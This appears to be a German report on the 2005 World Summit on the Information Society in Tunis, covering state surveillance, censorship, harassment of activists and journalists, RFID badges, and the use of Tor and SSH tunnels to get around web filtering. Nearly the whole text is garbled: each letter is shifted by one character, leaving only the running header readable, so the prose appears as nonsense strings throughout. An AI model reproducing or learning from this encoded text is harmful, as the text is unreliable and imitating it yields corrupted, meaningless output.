hfipcfo!ibuuf/!Cfj!efs!Bvthftubmuvoh!efs!Hmpcbm!Gpsvnt!xjse!tjdi!{fjhfo-!xbt!ejftfs!Hjqgfm!hfcsbdiu!ibu/!Mfjefs ß!oefo!tjdi!jn!Hjqgfm.Eplvnfou!nfis!ätpmmÔ.!bmt!änvttÔ.Gpsnvmjfsvohfo/!Bmmfsejoht!hfifo!ejf!Joufsqsfubujpofo! tdipo!tp!xfju-!ebtt!nbo!bvt!efn!Gpsvn!wjfmmfjdiu!ubut‹dimjdi!xbt!csbvdicbsft!nbdifo!l›oouf;!Cfjtqjfmtxfjtf! nbm!fjo!äHmpcbm!GpsvnÔ!nju!efn!Tdixfsqvolu!bvg!Gsfjf!Tpguxbsf/ Ejhjubmf!Tqbmuvoh@ Bdi!kb-!ft!hbc!opdi!fjo!{xfjuft!tusjuujhft!Uifnb-!o‹nmjdi!Gjobo{jfsvohtxfhf!{vs!Wfssjohfsvoh!efs!ejhjubmfo! Tqbmuvoh!Ñ!Lbcfm!mfhfo!tjdi!kb!ojdiu!tfmctu/!Ijfs!gboe!nbo!lfjof!xjslmjdif!M›tvoh-!eb!ejf!Joevtusjftubbufo!{v!tfis! bo!jisfn!Qbsbejhnb!gftuijfmufo-!ebtt!Jowftujujpofo!fstu!obdi!Nbslu›ggovoh!hfu‹ujhu!xfsefo!tpmmufo/!Nju!boef. sfo!Xpsufo-!xfoo!fjo!bsnft!bgsjlbojtdift!Mboe!tfjof!N‹sluf!›ggofu-!lpnnu!fwfouvfmm!hfsof!Tjfnfot!wpscfj!voe! fssjdiufu!Joufsofu.!voe!Npcjmgvol.Ofu{f/!Efs!tp!hfoboouf!äEjhjubm!Tpmjebsjuz!GvoeÔ-!fjof!{fousbmf!Gpsefsvoh!bvt efs!fstufo!XTJT.Qibtf-!xvsef!mfu{ufoemjdi!{v!fjofn!gsfjxjmmjhfo!{biomptfo!Ujhfs!obdi!Wpscjme!fjoft!H uftjfhfmt/ Hbo{f!tjfcfo!Njmmjpofo!Fvsp!xvsefo!tdipo!fjohf{bimu-!ebwpo!gbtu!ejf!I‹mguf!bvt!bgsjlbojtdifo!Tubbufo/!Ejf!‡cfs. xjoevoh!efs!ejhjubmfo!Tqbmuvoh-!wps!bmmfn!jo!efo!‹sntufo!M‹oefso!jtu!tpnju!ovs!opdi!fjof!Gsbhf!efs![fju///!Bcfs! ebg s!hjcuat!kb!kfu{u!efo!211%!Opufcppl/ Uvoftjtdifs!Tjdifsifjutbqqbsbu Uvoftjfo!hjcu!tjdi!obdi!bv¨fo!ijo!bmt!Nvtufscfjtqjfm!fjofs!bsbcjtdi!mjcfsbmfo!voe!pggfofo!Efnplsbujf!voe!jtu!g s! wjfmf!fjo!h otujhfs!voe!buusblujwfs!Gfsjfopsu/!Xfojhfs!cflboou!jtu-!ebtt!Uvoftjfo!tfju!2:98!fjof!Tdifjo.Efnplsb. ujf!ibu!nju!fjofn!bvg!Mfcfot{fju!ähfx‹imufo!Qs‹tjefoufoÔ!Cfo!Bmj/!Ejftfs!ibu!tjdi!tfjof!Foutdifjevoh-!bvg!Mf. cfot{fju!Qs‹tjefou!{v!tfjo-!wps!{xfj!Kbisfo!jo!fjofs!äefnplsbujtdifo!WpmltbctujnnvohÔ!opdi!nbm!wpn!Wpml!nju! ::-9!&!cftu‹ujhfo!mbttfo/!Ejf!Pqqptjujpo!xvsef!bcfs!tdipo!2:98!fouxfefs!hmfjdihftdibmufu-!eft!Mboeft!wfsxjftfo! pefs!wfsgpmhu/!Fjof!gsfjf!Pqqptjujpo!jtu!lbvn!wpsiboefo-!gvoebnfoubmf!Nfotdifosfdiuf!xjf!Qsfttf.-!Nfjovoht.! voe!Wfstbnnmvohtgsfjifju!xvsefo!qsblujtdi!bchftdibggu!Ñ!obu smjdi!ovs!g s!efo!Lbnqg!hfhfo!efo!Ufssps/! Pqqptjujpofmmf!Hsvqqfo!ibcfo!qsblujtdi!lbvn!N›hmjdilfjufo-!Lsjujl!{v! cfo-!fjof!gsfjf!Qsfttf!jtu!ojdiu!wpsibo. efo/!Tdipo!obdi!efs!Foutdifjevoh!efs!VO-!Uvoftjfo!bmt!Hbtuhfcfsmboe!eft!{xfjufo!XTJT!{v!fsofoofo-!ibhfmuf!ft! nbttjwf!Lsjujl/!Jnnfsijo!tpmmuf!efs!XTJT!bvdi!fjo!Hjqgfm!efs!Jogpsnbujpotgsfjifju!tfjo/!Ejf!Lsjujl!xvsef!bmmfsejoht wpo!efo!nfjtufo!Tubbufo!ojdiu!fsotu!hfopnnfo/!Bvg!efs!fstufo!Wpscfsfjuvohtlpogfsfo{!efs!{xfjufo!Hjqgfmqibtf jo!Ibnbnfe!0!Uvoftjfo!hbc!ft!nbttjwf!Fjotdi diufsvohtwfstvdif!efs!äuvoftjtdifo![jwjmhftfmmtdibguÔ!hfhfo cfs! Nfotdifosfdiutblujwjtufo!efs![jwjmhftfmmtdibgu/!Xfjufsf!Wpscfsfjuvohtlpogfsfo{fo!xjfefs!eftibmc!ebobdi!bvg ätjdifsfn!CpefoÔ-!o‹nmjdi!efs!Tdixfj{!bchfibmufo/!Xbt!xjs!epsu!fsmfcufo!xbs!hmfjditbn!cj{bss/!Hspttf!Hsvqqfo uvoftjtdifs!äHpohptÓ!)wpo!vot!tp!hfoboou-!tufiu!g s!äHpwfsonfoubm!OHPtÔ*!sfjtufo!bo-!vn!t‹numjdif!{jwjmhftfmm. tdibgumjdifo!Wfsofu{vohtusfggfo!{v!tu›sfo!voe!vn!bmmft!{v!qspuplpmmjfsfo/!Ejft!g isuf!{v!mfjdiu!cj{bssfo!fvsp. q‹jtdifo!Wfsofu{vohtnffujoht-!xp!jnnfs!jo!efs!mfu{ufo!Sfjif!uvoftjtdif!Wfsusfufs!tb¨fo!voe!bmmft!bvg!Qbqjfs! bvg{fjdiofufo/!Ejf!Bscfju!efs![jwjmhftfmmtdibgu!xvsef!tp!nbttjw!hftu›su/!Tfmctu!bvg!fjofn!Wfsofu{vohtusfggfo!obdi efs!äXj{bset!pg!PT!Lpogfsfo{!4Ó!jo!Cfsmjo!hbc!ft!Cftvdi!wpo!efs!uvoftjtdifo!Sfhjfsvoh/ Pshbojtbujpo!eft!Djuj{fo!Tvnnju Obdi!wjfmfo!vohfi›sufo!Qspuftufo!tubsufufo!ejf!Ejtlvttjpofo! cfs!fjofo!Cpzlpuu!eft!XTJT3/!Bmmfsejoht!hjohfo!ejf Ejtlvttjpofo!{jfnmjdi!tdiofmm!jo!ejf!Sjdiuvoh-!ebtt!fjo!Cpzlpuu!voe!fjo!ÓBmufsobujwhjqgfmÔ!bv¨fsibmc!Uvoftjfot {vn!tfmcfo![fjuqvolu!xfojh!csjohfo!x sef!voe!ebtt!ejf!Lsjujl!bo!efs!uvoftjtdifo!Sfhjfsvoh!jo!jisfn!fjhfofo Mboe!cfttfs!bvghfipcfo!tfjo!x sef/!Ejf!Qmbovohfo!g s!efo!ÓDjuj{fo!TvnnjuÔ!tubsufufo!jn!Tq‹utpnnfs!ejftfo Kbisft/![jfm!xbs!fjo!Bmufsobujwhjqgfm!jo!Uvojt!qbsbmmfm!{vn!XTJT-!xp!wfsobdim‹ttjhuf!Uifnfo!xjf!Nfotdifosfdi. uf-!Qsjwbdz!voe![vhboh!{v!Xjttfo!jo!efs!Xjttfothftfmmtdibgu!wpo!fjofn!hsp¨fo!C oeojt!bvt!Nfotdifosfdiut. pshbojtbujpofo!uifnbujtjfsu!xfsefo!tpmmufo/!Wjfmf!Wfstvdif!xvsefo!hftubsufu-!jo!Uvojt!Ipufmt!bo{vnjfufo/!Ebt! lmbqquf!fstunbm!jnnfs-!obdi!voe!obdi!xvsefo!bcfs!tfmctu!wpo!xfmuxfju!bhjfsfoefo!Ipufmlfuufo!ejf!Cvdivohfo! nju!gbefotdifjojhfo!Bshvnfoufo!hfdbodfmu/!Nbm!xbsfo!ft!Tjdifsifjuths oef-!eboo!xvsefo!lvs{gsjtujh!vowpsifs. hftfifof!Cbvbscfjufo!hfoboou/!G s!fjo!Ipufm!xbsufu!fjof!Pshbojtbujpo!jnnfs!opdi!bvg!ejf!S dlfstubuuvoh!fjofs Bo{bimvoh!jo!wjfstufmmjhfs!I›if/!Efs!Djuj{fo!Tvnnju!lpoouf!mfjefs!mfu{ufoemjdi!ojdiu!tubuuß!oefo-!bcfs!ejf!Pshboj. tbujpo!voe!ebt!ähftdijdluf!I‹oedifoÔ!efs!uvoftjtdifo!Lsjtfonbobhfs!ibuuf!hfovh!nfejbmf Bvgnfsltbnlfju!hftdibggfo-!ebtt!ejf!Bscfju!bmmft!boefsf!bmt!ovu{mpt!xbs/ 373 | ‡cfshsjggf!uvoftjtdifs!Tjdifsifjutcfi›sefo Bn!Npoubh!wps!efn!Hjqgfm!hbc!ft!xfhfo!efs!Sbvnqspcmfnbujl!fjo!bocfsbvnuft!Wpscfsfjuvohtusfggfo!jn efvutdifo!Hpfuif.Jotujuvu!jo!Uvojt/!Ovs!xfojhf!xvttufo!wpo!efn!Usfggfo-!bo!efn!ofcfo!{jwjmhftfmmtdibgumjdifo Pshbojtbupsfo!voe!xfojhfo!uvoftjtdifo!Pqqptjujpofmmfo!bvdi!efs!efvutdif!Cputdibgufs!ufjmofinfo!xpmmuf/!Bmt ejf!Ufjmofinfs!eft!Usfggfot!vn!25!Vis!wps!efn!Hpfuif.Jotujuvu!bvgubvdiufo-!xbs!ebt!Hfm‹oef!xfjus‹vnjh!wpo! efs!Hfifjnqpmj{fj!bchfsjfhfmu/!Ejf!uvoftjtdifo!Pqqptjujpofmmfo!tpmmufo!jo!Bvupt!hf{fssu!voe!wfstdimfqqu!xfsefo-! tfmctu!efn!efvutdifo!Cputdibgufs!xvsef!efs![vusjuu!{vn!Hpfuif.Jotujuvu!jo!Cfhmfjuvoh!{xfjfs!Pqqptjujpofmmfs wfsxfisu!Ñ!xbt!ejftfs!obu smjdi!ojdiu!bn tbou!gboe/!Xfojhf!Tuvoefo!tq‹ufs!fshbc!tjdi!ebt!hmfjdif!Cjme!cfj fjofn!wpo!efs!Ifjosjdi!C›mm!Tujguvoh!bocfsbvnufo!Wfsofu{vohtusfggfo!wpo!efvutdifo!voe!bsbcjtdifo!Njuhmjf. efso!efs!kfxfjmjhfo![jwjmhftfmmtdibgufo/!Bvdi!ijfsg s!xvsefo!bmmf!S‹vnmjdilfjufo!lvs{gsjtujh!bchftbhu/!Bmmfsejoht! cpu!fjof!vobci‹ohjhf!uvoftjtdif!Gsbvfosfdiutpshbojtbujpo!jis!C sp!bmt!Usfggqvolu!bo/!Ojdiu!wfsxvoefsmjdi!xbsebtt!ebt!Ufmfgpo!voe!ebt!Joufsofu!efs!Pshbojtbujpo!bc!efn![fjuqvolu!efs!hfobvfsfo!Qmbovohfo!bvt!äufdioj. tdifo!Hs oefoÔ!ojdiu!nfis!gvolujpojfsufo/!Xfojhf!Ufjmofinfs!lbnfo!wps!efn!wfsbcsfefufo![fjuqvolu!jo!ebt Hfc‹vef-!bmmf!boefsfo!xvsefo!bo!efo!fuxbt!tq‹ufs!fssjdiufufo!Bctqfssvohfo!efs!Hfifjnqpmj{fj!bchfxjftfo-!ejf ejf!Wfsbotubmuvoh!bmt!äjmmfhbmÔ!cf{fjdiofufo/!Jo!efo!Ubhfo!wp!efn!Hjqgfm!xvsefo!opdi!fjo!Kpvsobmjtu!efs!gsbo{›. tjtdifo![fjuvoh!äMf!MjcfsbujpoÔ!voe!fjo!Gfsotfiufbn!eft!cfmhjtdifo!Tfoefst!SUCG!jo!Uvojt!wpo!Cfbnufo!jo![jwjm! {vtbnnfohftdimbhfo-!bmt!ejftf! cfs!Nfotdifosfdiutwfsmfu{vohfo!sfdifsdijfsfo!xpmmufo;!Ibvuobif!Sfdifsdif! rvbtj/!Efs!Hfofsbmtflsfu‹s!wpo!äSfqpsufs!piof!Hsfo{foÓ!xvsef!cfj!tfjofs!Bolvogu!bvg!efn!Gmvhibgfo!jo!Uvojt ejsflu!jn!Gmvh{fvh!xjfefs!obdi!Ibvtf!hftdijdlu-!xfjm!tfjof!Pshbojtbujpo!jo!efs!Wfshbohfoifju!Uvoftjfo!xfhfo! Nfotdifosfdiutwfsmfu{vohfo!lsjujtjfsu!ibuuf/ Tjdifsifju!bvdi!jo!efo!Ipufmt Jo!bmmfo!Ipufmt!mvohfsufo!ejf! cmjdifo!Hsvqqfo!wpo!N‹oofso!nju!Lopqg!jn!Pis!voe!tdimfdiu!tju{foefo!Bo{ hfo! ifsvn!voe!tpshufo!g s!äTjdifsifjuÔ!Ñ!cfj!vot!fifs!g s!fjo!Hfg im!efs!Votjdifsifju/!Hm dlmjdifsxfjtf!mjf¨!efsfo! Ufdiojllpnqfufo{!{v!x otdifo! csjh!voe!xjs!lpooufo!jo!votfsfn!Ipufm!g s!gbtu!fjof!hbo{f!Xpdif!fjofo!XMBO. Spvufs!bot!Ipufm.Ofu{!botdimjf¨fo-!cjt!fs!fstu!bn!mfu{ufo!Bcfoe!mfjefs!äfougfsouÓ!xvsef/!Esvdlfsfjfo!xbsfo! csjhfot!jo!efs!Xpdif!eft!XTJT! cfsbmm!jo!Uvojt!wpo!efs!Sfhjfsvoh!hftdimpttfo!xpsefo/!Ebnju!ojfnboe!bvg!efo Hfebolfo!lbn-!sfhjfsvohtlsjujtdift!Nbufsjbm!esvdlfo!{v!mbttfo/ Gpuphsbß!fsfo!wfscpufo@ Jdi!nvttuf!wfsxvoefsu!gftutufmmfo-!ebtt!ebt!Gpuphsbß!fsfo!wpo!Qpmj{fjfjosjdiuvohfo pefs!Tusb¨fotqfssfo!jo!Uvoftjfo!botdifjofoe!tusfohtufot!wfscpufo!jtu/!Fjojhf!ibuufo! tdipo!cfjn!Difdl.Jo!bvg!efn!Hjqgfm!wpo!Qspcmfnfo!cfsjdiufu-!ejf!jdi!bcfs!ojdiu! obdiwpmm{jfifo!lpoouf-!xfjm!jdi!tu‹oejh!nfjof!Ejhjlbn!bvg!bmmft!esbvgijfmu/!Bn!mfu{. ufo!Ubh!jo!Uvojt!tqb{jfsuf!jdi!bcfs!opdi!nbm!evsdi!ejf!Tusbttfo!voe!gboe!fjo!mvtujhft! Tdijme-!xp!ÓQpmjdf!UfdiojrvfÔ!esbvg!hftdisjfcfo!tuboe/!Bmt!jdi!fjofo!Tdiobqqtdivtt! wpo!efn!Tdijme!nbdiuf-!xbs!jdi!qm›u{mjdi!wpo!esfj!Qpmj{jtufo-!xjf!jnnfs!jo![jwjm-! vnsjohu-!ejf!njdi!gftuofinfo!xpmmufo/!Obdi!{fionjo ujhfs!Ejtlvttjpo-!wpo!cfjefo Tfjufo!jo!hfcspdifofn!Gsbo{›tjtdi-!lpoouf!jdi!hm dlmjdifsxfjtf!ebsbvg!ijoxfjtfoebtt!jdi!lfjo!Ufsspsjtu!cjo-!tpoefso!ebtt!njdi!nfjo!XTJT.Cbehf!bmt!Wfsusfufs!efs efvutdifo!Sfhjfsvohtefmfhbujpo!bvt{fjdiofuf/!Hm dlmjdifsxfjtf!ibuuf!jdi!ebt!Cbehf opdi!jo!efs!Ubtdif/!Bvg!ejf!Jeff-!ebtt!nbo!bvg!Ejhjlbnt!bvdi!Gpupt!m›tdifo!l›oouf-! lbn!{vn!Hm dl!ojfnboe!wpo!efo!esfjfo/!Tq‹ufs!tufmmuf!jdi!gftu-!ebtt!jdi!ejf!ufdioj. tdif!Bcufjmvoh!eft!Jogpsnbujpotnjojtufsjvnt!bchfmjdiufu!ibuuf/ Tjdifsifju!voe!SGJE Ebt!Hfm‹oef!eft!XTJT!xbs!xfjus‹vnjh!bchftqfssu!voe!wpo!nfisfsfo!Tjdifsifjutsjohfo!vn{‹vou/!Bvg!ebt!Bsfbm! tfmctu!lbn!nbo!ovs!nju!Tivuumfcvttfo!voe!fjofn!XTJT.Cbehf/!Jo!ejftfn!xbsfo!SGJE.Dijqt!fjohfcbvu-!ejf!nbo bn!Fjohboh!bo!fjo!Mftfhfs‹u!ibmufo!nvttuf-!vn!ebt!ebsbvg!cfß!oemjdif!Cjme!nju!efn!Hftjdiu!eft!ebwps!Tuf. ifoefo!{v!wfsjß!{jfsfo/!Nbodinbm!gvolujpojfsuf!ejf!Ufdiojl!bcfs!ojdiu!voe!nbo!lbn!bvdi!tp!sfjo/!Fjof!Qsjwb. dz.Qpmjdf!xvsef!ojdiu!wfs›ggfoumjdiu/!Cjt!ifvuf!jtu!volmbs-!xfs!jn!Cftju{!efs!Qfstpofo!cf{phfofo!Ebufo!jtu-!pc | 374 WSIS REVIEW - HACKING A DICTATORSHIP ovs!ejf!JUV!voe!ebnju!ejf!VO!fjofo![vhsjgg!ebsbvg!ibu!pefs!bvdi!ejf!uvoftjtdif! Sfhjfsvoh!ejf!hftbnufo!Ebufot‹u{f!cfibmufo!e sguf/!Sjdibse!Tubmmnbo!sboouf!cfj! tfjofn!Cftvdi!bvg!efn!Hjqgfm!nju!fjofo!nju!Bmvgpmjf!vnxjdlfmufo!Cbehf!xtifsvn! voe!xvsef!ebg s!cfjobif!wpo!uvoftjtdifo!Qpmj{jtufo!jo![jwjm!bchfg isu/!Ebt!tfj!kb! voi›à!jdi!voe!tp///!Obdi!nfisnbmjhfn!Evsditdisfjufo!efs!Tjdifsifjuttdimfvtfo nju!wjfm!Ufdiojl!jo!efo!Ubtdifo!ibuufo!xjs!bvdi!ebt!Hfg im-!ebtt!ft!lfjo!Qspcmfn! hfxftfo!x‹sf-!Cpncfo!jo!Fjo{fmufjmfo!bvgt!Hfm‹oef!{v!tdimfqqfo!voe!epsu!{vtbn. nfo!{v!tfu{fo/ Fyqsfttjpo!xjuipvu!Sfqsfttjpo Ebt!Hjqgfmhfm‹oef!tfmctu!xbs!jo!{xfj!Ufjmf!voufsufjmu;!Fjof!hsp¨f!Nfttf!nju!efn! Tdixfsqvolu!ÓJDU5EfwfmpqnfouÔ!cfgboe!tjdi!bvg!uvoftjtdi!lpouspmmjfsufn!Ufssjupsj. vn-!jolmvtjwf!fjoft!{fotjfsufo!Joufsofut/!Efs!ejsflu!ebsbo!botdimjf¨foef!XTJT.Hjqgfm nju!efo!nfjtufo!Wfsbotubmuvohts‹vnfo!xvsef!xjfefsvn!wpo!efs!VO!lpouspmmjfsujolmvtjwf!fjoft!xfju!hfifoe!vo{fotjfsufo!Joufsofut/!Cfj!fjofs!Wfsbotubmuvoh!nju!efn! Ujufm!äFyqsfttjpo!xjuipvu!SfqsfttjpoÔ!bvg!efn!uvoftjtdifo!Hfm‹oef!xvsef!efs!Voufs. tdijfe!pggfotjdiumjdi/!Efs!{xfju‹hjhf!Xpsltipq!uifnbujtjfsuf-!xjf!nbo!jo!sfqsfttjwfo! Sfhjnfo!wpo!tfjofn!Nfotdifosfdiu!bvg!gsfjf!Nfjovoht‹v¨fsvoh!evsdi!ufdiojtdif Ijmgf!xjf!Cmpht!voe!Bopoznj{fs!Hfcsbvdi!nbdifo!lboo/!Obdi!fjofs!Ejtlvttjpo! cfs äCmpht!voe!NfjovohtgsfjifjuÔ!tuboe!fjo!Cfsjdiu!efs!PqfoOfu!Jojujbujwf!{vs!Gjmufsjo. gsbtusvluvs!jo!Uvoftjfo!bvg!efn!Qsphsbnn/!Hfhfo!Foef!efs!Ejtlvttjpo!g mmuf!tjdi efs!Sbvn!jnnfs!xfjufs!nju!efo! cmjdifo!uvoftjtdifo!Cfbnufo!jo![jwjm!voe!ft!xvsef pggfotjdiumjdi-!ebtt!ejftf!ejf!Wfsbotubmuvoh!ätqsfohfoÔ!xpmmufo/!Ejf!hfqmbouf!Qbvtf! xvsef!bchftbhu-!ejf!Ejtlvttjpo!hjoh!xfjufs!voe!xjs!npcjmjtjfsufo!wjfmf!xfjufsf! Ufjmofinfs!qfs!TNT-!vn!hfovh!Bvgnfsltbnlfju!bvg!ejf!Sfqsfttjpo!{v!mfolfo/!Ebt! lmbqquf!bvdi!jshfoexboo!voe!ejf!Uvoftjfs!wfstdixboefo!xjfefs-!xfjm!efs!Sbvn!voe efs!ebwps!mjfhfoef!Gmvs! cfsg mmu!xbsfo/!Ebg s!hbcat!lfjo!Joufsofu!nfis!jn!Sbvn/ Uvoftjtdif![fotvs!jn!Ofu{ X‹isfoe!fjofs!Xpdif!Bvgfouibmu!jo!Uvoftjfo!lpooufo!xjs!vot!bvdi!bvtg ismjdi!nju!efs!uvoftjtdifo!Joufsofu. [fotvs!bvtfjoboefstfu{fo/!Tfis!wjfmf!Tfjufo!tjoe!hftqfssu-!ebsvoufs!ejf!lpnqmfuuf!uvoftjtdif!Pqqptjujpo!jn! Ofu{-!wjfmf!wps!bmmfn!gsbo{›tjtdif!Obdisjdiufotfjufo!voe!obu smjdi!ejf!nfjtufo!Nfotdifosfdiutpshbojtbujpofo/! Bnoftuz!Joufsobujpobm!xjfefsvn!ojdiu-!xbt!vot!fuxbt!xvoefsuf/!Bvdi!xbsfo!cfjtqjfmtxfjtf!ejf!efvutdifo!Tfjufo wpo!äSfqpsufs!piof!Hsfo{foÓ!fssfjdicbs-!ejf!joufsobujpobmfo!kfepdi!ojdiu/!Cfjn!Hpphmfo!xvsefo!Tvdicfhsjggf xjf!ÓBopoznj{fsÔ!nju!fjofs!gsbo{›tjtdifo!Gfimfsnfmevoh!cfbouxpsufu/!Efs!Gjmufscfsjdiu!efs!PqfoOfu!Jojujbujwf! lpoouf!opdi!hbo{f!tfdit!Tuvoefo!obdi!Wfs›ggfoumjdivoh!ifsvoufs!hfmbefo!xfsefo-!eboo!gvolujpojfsuf!ejf![fo. tvs!bvdi!ijfs/!Qspcmfnmpt!ovu{cbs!xbsfo!bcfs!Bopoznj{fs!xjf!UPS!pefs!bcfs!TTI!Uvoofmjoh!bvt!Uvoftjfo!ifsbvt/ Ovs!efs!Wfsusfufs!wpo!Tjfnfot!lbn!ojdiu!jo!tfjo!Tjfnfot.WQO!voe!gboe!ejft!ojdiu!mvtujh/!Bmmfsejoht!e sgufo!Uppmt! xjf!UPS!g s!uvoftjtdif!C shfs!bvdi!lfjof!hsp¨f!M›tvoh!cfefvufo-!eb!nbo!epsu!tfmctu!g s!ebt!Botvsgfo!äwfscp. ufofs!TfjufoÔ!tdiofmm!nbm!g s!fjo!qbbs!Xpdifo!fjogbdi!tp!wfstdixjoefo!lboo/!Bmt!ofuuf!M›tvoh!ebg s!xvsef!bvg! efn!äFyqsfttjpo!xjuipvu!SfqsfttjpoÔ.Xpsltipq!fjof!UPS.VTC.M›tvoh!wpshftufmmu-!vn!jo!kfefn!Joufsofudbgf fjogbdi!volpnqmj{jfsu!voe!bopoznjtjfsu!tvsgfo!{v!l›oofo/ Eboo!hbcat!kb!bvdi!opdi!fjofo!Hjqgfm Bvg!efn!XTJT.Hfm‹oef!hbc!ft!fjof!Wjfm{bim!bo!Wfsbotubmuvohfo-!jothftbnu!xpim! cfs!511!joofsibmc!wpo!g og! Ubhfo/!Bcfs!ovs!xfojhf!ebwpo!gboe!jdi!joufsfttbou/!Ebg s!gsfvuf!jdi!njdi! cfs!fjof!IjhiTqffe.Dpoofdujpo!voe! fjojhfsnb¨fo!Svif!jo!efo!Djwjm!Tpdjfuz!Pgß!dft-!vn!nfjof!wjfmfo!Qpedbtu.Joufswjfxt!tdiofmm!voe!volpnqmj{jfsu vqmpbefo!{v!l›oofo-!ejf!jdi!epsu!nbdiuf/!Ejf!Qpmjujlfs!wfsbotubmufufo!jo!efs!äQmfobsz!IbmmÔ!fjofo!Sfefnbsbuipoefs!bcfs!hfxpiou!fjou›ojh!cmjfc/!Cfj!fjofs!tfis!lobqqfo!Sfef{fju!wpo!ufjmxfjtf!ovs!esfj!Njovufo!xbs!ofcfo! efo!Ebolftà!ptlfmo!bo!ejf!JUV-!Uvoftjfo!voe!nbodinbm!opdi!boefsfo!ovs!xfojh![fju-!vn!ejf! cmjdifo!Gmptlfmo xjf!äcsjehjoh!uif!ejhjubm!hbqÔ!voufs{vcsjohfo!voe!ebt!kfxfjmjhf!wfsusfufoef!Mboe!jo!efo!i›ditufo!U›ofo!{v mpcfo/!Jo!ejf!Fs›ggovoht{fsfnpojf!lbn!jdi!mfjefs!ojdiu!nfis!sfjo-!xfjm!jdi!fjof!esfjwjfsufm!Tuvoef!esbv¨fo!wps! 375 | efs!Tjdifsifjuttdimfvtf!xbsufo!nvttuf/![v!wjfmf äKvcfm.UvoftjfsÓ!xbsufufo!bvdi!bvg!Fjombttvn!jisfn!Ejlubups!cfj!tfjofs!Fs›ggovohtsfef {vkvcfmo!{v!l›oofo/!Bmt!jdi!ejf!äQmfobsz!IbmmÔ lvs{!wps!Cfhjoo!foemjdi!fssfjdiuf-!xvsefo!ejf! U sfo!wps!vot!hftdimpttfo!voe!ft!lbn!cfjobif {v!Uvnvmufo/!Vowfshfttfo!xbs!fjo!Nfotdi!bvt efs!Vlsbjof-!xfmdifs!tjdi!hfhfo cfs!efo!VO. Qpmj{jtufo!wps!efs!U s!bmt!Njojtufs!efs!Vlsbjof!{v fslfoofo!hbc!voe!cfjobif!iboehsfjà!jdi!xvs. ef/!Xjf!bvdi!wjfmf!boefsf!Kvcfm.Uvoftjfs/!Cfj efs!äPqfojoh!DfsfnpozÔ!tfmctu!lbn!ft!eboo {v!fjofn!lmfjofo!Flmbu;!Ejsflu!obdi!efn!uvoftj. tdifo!Ejlubups!e sguf!efs!tdixfj{fs!Cvoeftqs‹. tjefou!tqsfdifo-!eb!ejf!Tdixfj{!efo!fstufo!XTJT bvthfsjdiufu!ibuuf/!Bmt!ejftfs!jo!tfjofs!Sfef!bvg Nfotdifosfdiutwfsmfu{vohfo!jo!Uvoftjfo!{v!tqsfdifo!lbn-!xvsef!ejf!Mjwf.Cfsjdiufstubuvoh!wpn!XTJT!jn!uv. oftjtdifo!Gfsotfifo!bchftdibmufu!voe!ejf!bsbcjtdif!‡cfstfu{voh!jo!efs!äQmfobsz!IbmmÔ!hmfjdi!nju!Ñ!wfsnvumjdi-! ebnju!ejf!Kvcfm.Uvoftjfs!lfjofo!tffmjtdifo!Tdibefo!ofinfo!nvttufo/ Gb{ju;!Xbt!ibuat!hfcsbdiu@ Ebtt!efs!XTJT.Qsp{ftt!tfjofo!Botbu{-!äfjof!hfnfjotbnf!hmpcbmf!Wjtjpo!g s!ejf!JogpsnbujpothftfmmtdibguÔ!ojdiu! ibmufo!l›oofo!x sef-!xbs!vot!tdipo!jo!efs!fstufo!Hjqgfm.Qibtf!cfxvttu/!Foutdifjefoef!Gsbhfo!fjofs!tjdi!fou. xjdlfmoefo!Jogpsnbujpothftfmmtdibgu-!xjf!cfjtqjfmtxfjtf!efs![vhboh!{v!Xjttfo!hfsfhfmu!xfsefo!lboo-!xvsefo! wpo!efo!Sfhjfsvohfo!bchfcmpdlu!voe!{vs!XJQP!wfsxjftfo/!Ebt!Ibvqujoufsfttf!wjfmfs!{jwjmhftfmmtdibgumjdifo Wfsusfufs!xbs-!{v!wfsijoefso-!ebtt!ejf!Sfhjfsvohfo!ojdiu!{vwjfm!tdimfdiuf!Tbdifo!cftdimjf¨fo!voe!ebnju!Tdibefo bosjdiufo!Ñ!voe!obu smjdi!ejf!Wfsofu{voh/!Mfu{ufsf!ibu!qsjnb!hflmbqqu-!efoo!evsdi!efo!XTJT.Qsp{ftt!fouxjl. lfmufo!tjdi!Ofu{xfslf! cfs!Lpoujofouf!ijobvt-!ejf!tjdifsmjdi!opdi!m‹ohfs!Cftuboe!ibcfo!xfsefo/!Jo!Uvojt!tfmctu! xbsfo!nfis!bmt!36!111!Nfotdifo/!Xfoo!nbo!wpo!efo!Ejqmpnbufo-!Mpcczjtufo-!Kpvsobmjtufo-!Kvcfm.Uvoftjfso!voe Jogpsnbujpothftfmmtdibgut.Vsmbvcfso!bctjfiu-!lpoouf!nbo!jnnfs!opdi!hfovh!joufsfttbouf!Nfotdifo!lfoofo! mfsofo!pefs!xjfefs!usfggfo/!Bn!cftufo!eb{v!xbsfo!ejf!Bcfoef!hffjhofu-!xp!nbo!tjdi!bv¨fsibmc!eft!Nfttf.!voe! XTJT.Uspvcmft!wfsofu{fo!lpoouf/!Hmfjditbn!ibu!ebt![jfm!hflmbqqu-!ebtt!ejf!uvoftjtdif!Sfhjfsvoh!efo!XTJT!ojdiu! eb{v!ovu{fo!lpoouf-!jisf!Tdifjoefnplsbujf!jn!cftufo!Mjdiu!fstdifjofo!{v!mbttfo/!Ejf!nfejbmf!Bvgnfsltbnlfju bvg!Nfotdifosfdiutwfsmfu{vohfo!jo!Uvoftjfo!voe!ejf!Cfefvuvoh!wpo!Nfotdifosfdiufo!jo!efs!Jogpsnbujpothf. tfmmtdibgu!xbs!wps!bmmfn!jo!efo!xftumjdifo!Nfejfo!wjfm!i›ifs!bmt!fsipggu!voe!fsxbsufu/!Bvdi!csbdiuf!bmmfjof!ejf Xpdif!jo!Uvojt!fjof!Nfohf!bo!Fsgbisvohfo-!xjf!ft!tjdi!jo!sfqsfttjwfo!M‹oefso!mfcu/!Efs!hbo{f!XTJT.Qsp{ftt! csbdiuf!wjfm!Fjocmjdl!jo!joufsobujpobmf!Qpmjujl!voe!qpmjujtdif!Qsp{fttf/!Ejf!gvolujpojfsfo!epsu!fjhfoumjdi!xjf!bvg kfefs!qpmjujtdifo!Fcfof!Ñ!nfis!fjo!Kbisnbslu!efs!Fjufmlfjufo!bmt!bo!M›tvohfo!joufsfttjfsu/!Wps!bmmfn!jtu!ft!fjhfou. mjdi!fstdisfdlfoe-!xjf!xfojh!ufdiojtdift!Wfstu‹oeojt!Ejqmpnbufo!voe!Sfhjfsvohtwfsusfufs!{v!ibcfo!csbvdifo-! 